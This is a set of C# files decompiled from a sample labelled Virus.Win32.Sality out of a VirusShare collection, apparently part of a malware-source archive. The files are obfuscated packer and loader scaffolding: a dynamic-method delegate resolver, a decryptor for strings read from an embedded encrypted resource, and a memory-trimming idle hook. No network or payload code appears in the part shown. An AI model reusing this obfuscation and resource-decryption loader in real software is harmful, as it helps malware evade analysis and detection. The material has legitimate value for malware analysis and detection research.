+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0001
+{
+  internal sealed class \u0001
+  {
+    private static \u0001.\u0001 \u0001;
+    private long \u0001;
+
+    [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
+    private static extern int \u0003(
+      IntPtr process,
+      int minimumWorkingSetSize,
+      int maximumWorkingSetSize);
+
+    private void \u0003()
+    {
+      Process currentProcess;
+      try
+      {
+        try
+        {
+          currentProcess = Process.GetCurrentProcess();
+          try
+          {
+            \u0001.\u0001.\u0003(currentProcess.Handle, -1, -1);
+          }
+          finally
+          {
+            currentProcess?.Dispose();
+          }
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        Process process = currentProcess;
+        throw UnhandledException.\u0003(ex, (object) process, (object) this);
+      }
+    }
+
+    private void \u0003(object sender, EventArgs e)
+    {
+      DateTime now;
+      long ticks;
+      try
+      {
+        try
+        {
+          now = DateTime.Now;
+          ticks = now.Ticks;
+          if (ticks - this.\u0001 <= 10000000L)
+            return;
+          this.\u0001 = ticks;
+          this.\u0003();
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        // ISSUE: variable of a boxed type
+        __Boxed<long> local1 = (ValueType) ticks;
+        // ISSUE: variable of a boxed type
+        __Boxed<DateTime> local2 = (ValueType) now;
+        object obj = sender;
+        EventArgs eventArgs = e;
+        throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, obj, (object) eventArgs);
+      }
+    }
+
+    private \u0001()
+    {
+      DateTime now = DateTime.Now;
+      this.\u0001 = now.Ticks;
+      // ISSUE: explicit constructor call
+      base.\u002Ector();
+      try
+      {
+        // ISSUE: method pointer
+        Application.Idle += new EventHandler((object) this, __methodptr(\u0003));
+        this.\u0003();
+      }
+      catch (Exception ex)
+      {
+        // ISSUE: variable of a boxed type
+        __Boxed<DateTime> local = (ValueType) now;
+        throw UnhandledException.\u0003(ex, (object) local, (object) this);
+      }
+    }
+
+    public static void \u0004()
+    {
+      try
+      {
+        try
+        {
+          if (Environment.OSVersion.Platform != PlatformID.Win32NT)
+            return;
+          \u0001.\u0001.\u0001 = new \u0001.\u0001();
+        }
+        catch
+        {
+        }
+      }
+      catch (Exception ex)
+      {
+        throw UnhandledException.\u0003(ex);
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0002.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+namespace \u0001
+{
+  internal delegate string \u0002(int i);
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs

@@ -0,0 +1,96 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Diagnostics;
+using System.Reflection;
+using System.Reflection.Emit;
+
+namespace \u0001
+{
+  internal static class \u0003
+  {
+    public static void \u0003()
+    {
+      StackFrame frame;
+      Type declaringType;
+      FieldInfo[] fields;
+      int index1;
+      FieldInfo fieldInfo;
+      Type[] typeArray;
+      DynamicMethod dynamicMethod;
+      ILGenerator ilGenerator;
+      MethodInfo[] methods;
+      int index2;
+      MethodInfo meth;
+      StackTrace stackTrace;
+      try
+      {
+        stackTrace = new StackTrace();
+        frame = stackTrace.GetFrame(1);
+        declaringType = frame.GetMethod().DeclaringType;
+        fields = declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
+        for (index1 = 0; index1 < fields.Length; ++index1)
+        {
+          fieldInfo = fields[index1];
+          try
+          {
+            if ((object) fieldInfo.FieldType == (object) typeof (\u0002))
+            {
+              string empty = string.Empty;
+              Type returnType = typeof (string);
+              typeArray = new Type[1]{ typeof (int) };
+              Type[] parameterTypes = typeArray;
+              Type owner = declaringType;
+              dynamicMethod = new DynamicMethod(empty, returnType, parameterTypes, owner, true);
+              ilGenerator = dynamicMethod.GetILGenerator();
+              ilGenerator.Emit(OpCodes.Ldarg_0);
+              methods = typeof (\u0006).GetMethods(BindingFlags.Static | BindingFlags.Public);
+              for (index2 = 0; index2 < methods.Length; ++index2)
+              {
+                meth = methods[index2];
+                if ((object) meth.ReturnType == (object) typeof (string))
+                {
+                  ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215);
+                  ilGenerator.Emit(OpCodes.Sub);
+                  ilGenerator.Emit(OpCodes.Call, meth);
+                  break;
+                }
+              }
+              ilGenerator.Emit(OpCodes.Ret);
+              fieldInfo.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
+              break;
+            }
+          }
+          catch
+          {
+          }
+        }
+      }
+      catch (Exception ex)
+      {
+        object[] objArray = new object[12]
+        {
+          (object) stackTrace,
+          (object) frame,
+          (object) declaringType,
+          (object) fieldInfo,
+          (object) dynamicMethod,
+          (object) ilGenerator,
+          (object) meth,
+          (object) fields,
+          (object) index1,
+          (object) typeArray,
+          (object) methods,
+          (object) index2
+        };
+        throw UnhandledException.\u0003(ex, objArray);
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0004.cs

@@ -0,0 +1,244 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Reflection;
+using System.Reflection.Emit;
+using System.Runtime.InteropServices;
+
+namespace \u0001
+{
+  internal static class \u0004
+  {
+    private static ModuleHandle \u0001;
+    private static char[] \u0001;
+
+    public static void \u0003([In] int obj0)
+    {
+      Type typeFromHandle;
+      FieldInfo[] fields;
+      int index1;
+      FieldInfo fieldInfo;
+      string name;
+      bool flag;
+      int num1;
+      int index2;
+      char ch;
+      int index3;
+      MethodInfo methodFromHandle;
+      Delegate @delegate;
+      ParameterInfo[] parameters;
+      int length;
+      Type[] parameterTypes;
+      int index4;
+      DynamicMethod dynamicMethod;
+      ILGenerator ilGenerator;
+      int num2;
+      try
+      {
+        try
+        {
+          typeFromHandle = Type.GetTypeFromHandle(\u0004.\u0001.ResolveTypeHandle(33554433 + obj0));
+        }
+        catch
+        {
+          return;
+        }
+        fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
+        for (index1 = 0; index1 < fields.Length; ++index1)
+        {
+          fieldInfo = fields[index1];
+          name = fieldInfo.Name;
+          flag = false;
+          num1 = 0;
+          for (index2 = name.Length - 1; index2 >= 0; --index2)
+          {
+            ch = name[index2];
+            if (ch == '~')
+            {
+              flag = true;
+              break;
+            }
+            for (index3 = 0; index3 < 58; ++index3)
+            {
+              if ((int) \u0004.\u0001[index3] == (int) ch)
+              {
+                num1 = num1 * 58 + index3;
+                break;
+              }
+            }
+          }
+          try
+          {
+            methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0004.\u0001.ResolveMethodHandle(num1 + 167772161));
+          }
+          catch
+          {
+            continue;
+          }
+          if (methodFromHandle.IsStatic)
+          {
+            try
+            {
+              @delegate = Delegate.CreateDelegate(fieldInfo.FieldType, methodFromHandle);
+            }
+            catch (Exception ex)
+            {
+              continue;
+            }
+          }
+          else
+          {
+            parameters = methodFromHandle.GetParameters();
+            length = parameters.Length + 1;
+            parameterTypes = new Type[length];
+            parameterTypes[0] = typeof (object);
+            for (index4 = 1; index4 < length; ++index4)
+              parameterTypes[index4] = parameters[index4 - 1].ParameterType;
+            dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
+            ilGenerator = dynamicMethod.GetILGenerator();
+            ilGenerator.Emit(OpCodes.Ldarg_0);
+            if (length > 1)
+              ilGenerator.Emit(OpCodes.Ldarg_1);
+            if (length > 2)
+              ilGenerator.Emit(OpCodes.Ldarg_2);
+            if (length > 3)
+              ilGenerator.Emit(OpCodes.Ldarg_3);
+            if (length > 4)
+            {
+              for (num2 = 4; num2 < length; ++num2)
+                ilGenerator.Emit(OpCodes.Ldarg_S, num2);
+            }
+            ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
+            ilGenerator.Emit(OpCodes.Ret);
+            try
+            {
+              @delegate = dynamicMethod.CreateDelegate(typeFromHandle);
+            }
+            catch
+            {
+              continue;
+            }
+          }
+          try
+          {
+            fieldInfo.SetValue((object) null, (object) @delegate);
+          }
+          catch
+          {
+          }
+        }
+      }
+      catch (Exception ex)
+      {
+        object[] objArray = new object[20]
+        {
+          (object) typeFromHandle,
+          (object) fieldInfo,
+          (object) name,
+          (object) flag,
+          (object) num1,
+          (object) index2,
+          (object) ch,
+          (object) index3,
+          (object) methodFromHandle,
+          (object) @delegate,
+          (object) parameters,
+          (object) length,
+          (object) parameterTypes,
+          (object) index4,
+          (object) dynamicMethod,
+          (object) ilGenerator,
+          (object) num2,
+          (object) fields,
+          (object) index1,
+          (object) obj0
+        };
+        throw UnhandledException.\u0003(ex, objArray);
+      }
+    }
+
+    static \u0004()
+    {
+      Type type1;
+      try
+      {
+        \u0004.\u0001 = new char[58]
+        {
+          '\u0001',
+          '\u0002',
+          '\u0003',
+          '\u0004',
+          '\u0005',
+          '\u0006',
+          '\a',
+          '\b',
+          '\u000E',
+          '\u000F',
+          '\u0010',
+          '\u0011',
+          '\u0012',
+          '\u0013',
+          '\u0014',
+          '\u0015',
+          '\u0016',
+          '\u0017',
+          '\u0018',
+          '\u0019',
+          '\u001A',
+          '\u001B',
+          '\u001C',
+          '\u001D',
+          '\u001E',
+          '\u001F',
+          '\u007F',
+          '\u0080',
+          '\u0081',
+          '\u0082',
+          '\u0083',
+          '\u0084',
+          '\u0086',
+          '\u0087',
+          '\u0088',
+          '\u0089',
+          '\u008A',
+          '\u008B',
+          '\u008C',
+          '\u008D',
+          '\u008E',
+          '\u008F',
+          '\u0090',
+          '\u0091',
+          '\u0092',
+          '\u0093',
+          '\u0094',
+          '\u0095',
+          '\u0096',
+          '\u0097',
+          '\u0098',
+          '\u0099',
+          '\u009A',
+          '\u009B',
+          '\u009C',
+          '\u009D',
+          '\u009E',
+          '\u009F'
+        };
+        type1 = typeof (MulticastDelegate);
+        if ((object) type1 == null)
+          return;
+        \u0004.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
+      }
+      catch (Exception ex)
+      {
+        Type type2 = type1;
+        throw UnhandledException.\u0003(ex, (object) type2);
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0005.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using System.Runtime.InteropServices;
+
+namespace \u0001
+{
+  internal sealed class \u0005
+  {
+    internal static \u0005.\u0001 \u0001;
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u0001
+    {
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0006.cs

@@ -0,0 +1,148 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using \u0001;
+using \u0002;
+using SmartAssembly.SmartExceptionsCore;
+using System;
+using System.Collections;
+using System.IO;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace \u0001
+{
+  internal sealed class \u0006
+  {
+    [NonSerialized]
+    internal static \u0001.\u0002 \u0001;
+    private static string \u0001;
+    private static string \u0002;
+    private static byte[] \u0001;
+    private static Hashtable \u0001;
+    private static bool \u0001;
+    private static int \u0001;
+
+    public static string \u0003([In] int obj0)
+    {
+      string str1;
+      int num1;
+      int num2;
+      int num3;
+      byte[] numArray1;
+      string str2;
+      try
+      {
+        obj0 -= \u0006.\u0001;
+        if (\u0006.\u0001)
+        {
+          str1 = (string) \u0083\u0005.\u007E\u0005\u0006((object) \u0006.\u0001, (object) obj0);
+          if (str1 != null)
+            return str1;
+        }
+        num1 = 0;
+        num2 = obj0;
+        num3 = (int) \u0006.\u0001[num2++];
+        if ((num3 & 128) == 0)
+        {
+          num1 = num3;
+          if (num1 == 0)
+            return string.Empty;
+        }
+        else
+          num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0006.\u0001[num2++] << 16) + ((int) \u0006.\u0001[num2++] << 8) + (int) \u0006.\u0001[num2++] : ((num3 & 63) << 8) + (int) \u0006.\u0001[num2++];
+        string str3;
+        try
+        {
+          numArray1 = \u009A\u0004.\u008E\u0004(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), \u0006.\u0001, num2, num1));
+          str2 = \u0084\u0005.\u0098\u0003(\u001E\u0003.\u007E\u0003\u0007((object) \u001F\u0003.\u0005\u0007(), numArray1, 0, numArray1.Length));
+          if (\u0006.\u0001)
+          {
+            try
+            {
+              \u0001\u0005.\u007E\u0002\u0006((object) \u0006.\u0001, (object) obj0, (object) str2);
+            }
+            catch
+            {
+            }
+          }
+          str3 = str2;
+        }
+        catch
+        {
+          str3 = (string) null;
+        }
+        return str3;
+      }
+      catch (Exception ex)
+      {
+        string str4 = str1;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local1 = (ValueType) num1;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local2 = (ValueType) num2;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local3 = (ValueType) num3;
+        byte[] numArray2 = numArray1;
+        string str5 = str2;
+        string str6;
+        string str7 = str6;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local4 = (ValueType) obj0;
+        throw UnhandledException.\u0003(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4);
+      }
+    }
+
+    static \u0006()
+    {
+      Assembly assembly1;
+      Stream stream1;
+      int length;
+      byte[] numArray1;
+      try
+      {
+        \u0003.\u0003();
+        \u0006.\u0001 = "1";
+        \u0006.\u0002 = "17";
+        \u0006.\u0001 = (byte[]) null;
+        \u0006.\u0001 = (Hashtable) null;
+        \u0006.\u0001 = false;
+        \u0006.\u0001 = 0;
+        if (\u0008\u0003.\u0081\u0003(\u0006.\u0001, "1"))
+        {
+          \u0006.\u0001 = true;
+          \u0006.\u0001 = new Hashtable();
+        }
+        \u0006.\u0001 = \u008D\u0005.\u008C\u0004(\u0006.\u0002);
+        assembly1 = \u0003\u0003.\u0082\u0006();
+        stream1 = \u001F\u0004.\u007E\u001C\u0006((object) assembly1, "{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f}");
+        try
+        {
+          length = \u009F\u0004.\u0089\u0004(\u0006\u0004.\u007E\u0015\u0007((object) stream1));
+          numArray1 = new byte[length];
+          int num = \u008C\u0003.\u007E\u001B\u0007((object) stream1, numArray1, 0, length);
+          \u0006.\u0001 = \u0006.\u0003(numArray1);
+          numArray1 = (byte[]) null;
+          \u0087\u0005.\u007E\u0018\u0007((object) stream1);
+        }
+        finally
+        {
+          if (stream1 != null)
+            \u0087\u0005.\u007E\u001F\u0003((object) stream1);
+        }
+      }
+      catch (Exception ex)
+      {
+        Assembly assembly2 = assembly1;
+        Stream stream2 = stream1;
+        // ISSUE: variable of a boxed type
+        __Boxed<int> local = (ValueType) length;
+        byte[] numArray2 = numArray1;
+        throw UnhandledException.\u0003(ex, (object) assembly2, (object) stream2, (object) local, (object) numArray2);
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using System.Drawing;
+
+internal delegate Pen \u0001\u0003();

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate byte[] \u0001\u0004([In] int obj0);

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u0001\u0005([In] object obj0, [In] object obj1, [In] object obj2);